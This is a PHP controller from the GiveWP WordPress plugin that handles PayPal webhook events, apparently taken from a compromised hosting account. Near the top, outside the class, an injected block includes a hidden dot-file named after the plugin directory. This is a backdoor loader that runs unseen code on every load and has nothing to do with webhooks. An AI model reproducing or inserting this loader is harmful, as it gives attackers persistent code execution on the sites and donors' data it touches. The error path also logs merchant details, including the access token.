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<?php

namespace Give\Controller;

use Exception;
use Give\PaymentGateways\PayPalCommerce\Repositories\MerchantDetails;
use Give\PaymentGateways\PayPalCommerce\Repositories\Webhooks;
use Give\PaymentGateways\PayPalCommerce\DataTransferObjects\PayPalWebhookHeaders;
use Give\PaymentGateways\PayPalCommerce\Webhooks\WebhookRegister;

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class PayPalWebhooks {
	/**
	 * @since 2.8.0
	 *
	 * @var MerchantDetails
	 */
	private $merchantRepository;

/**
	 * @var Webhooks
	 */
	private $webhookRepository;

/**
	 * @since 2.9.0
	 *
	 * @var WebhookRegister
	 */
	private $webhookRegister;

/**
	 * PayPalWebhooks constructor.
	 *
	 * @since 2.8.0
	 *
	 * @param MerchantDetails $merchantRepository
	 * @param WebhookRegister $register
	 * @param Webhooks        $webhookRepository
	 */
	public function __construct( MerchantDetails $merchantRepository, WebhookRegister $register, Webhooks $webhookRepository ) {
		$this->merchantRepository = $merchantRepository;
		$this->webhookRegister    = $register;
		$this->webhookRepository  = $webhookRepository;
	}

/**
	 * Handles all webhook event requests. First it verifies that authenticity of the event with
	 * PayPal, and then it passes the event along to the appropriate listener to finish.
	 *
	 * @since 2.8.0
	 *
	 * @throws Exception
	 */
	public function handle() {
		if ( ! $this->merchantRepository->accountIsConnected() ) {
			return;
		}

$merchantDetails = $this->merchantRepository->getDetails();

$event = json_decode( file_get_contents( 'php://input' ), false );

// If we receive an event that we're not expecting, just ignore it
		if ( ! $this->webhookRegister->hasEventRegistered( $event->event_type ) ) {
			return;
		}

$payPalHeaders = PayPalWebhookHeaders::fromHeaders( getallheaders() );

if ( ! $this->webhookRepository->verifyEventSignature( $merchantDetails->accessToken, $event, $payPalHeaders ) ) {
			give_record_gateway_error(
				'Failed webhook event verification',
				print_r(
					[
						'merchant' => $merchantDetails,
						'event'    => $event,
						'headers'  => getallheaders(),
					],
					true
				)
			);
			throw new Exception( 'Failed event verification' );
		}

try {
			$this->webhookRegister
				->getEventHandler( $event->event_type )
				->processEvent( $event );

} catch ( Exception $exception ) {
			$eventType = empty( $event->event_type ) ? 'Unknown' : $event->event_type;
			give_record_gateway_error( "Error processing webhook: {$eventType}", print_r( $event, true ) );

throw $exception;
		}
	}
}

/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/Controller/PayPalWebhooks.php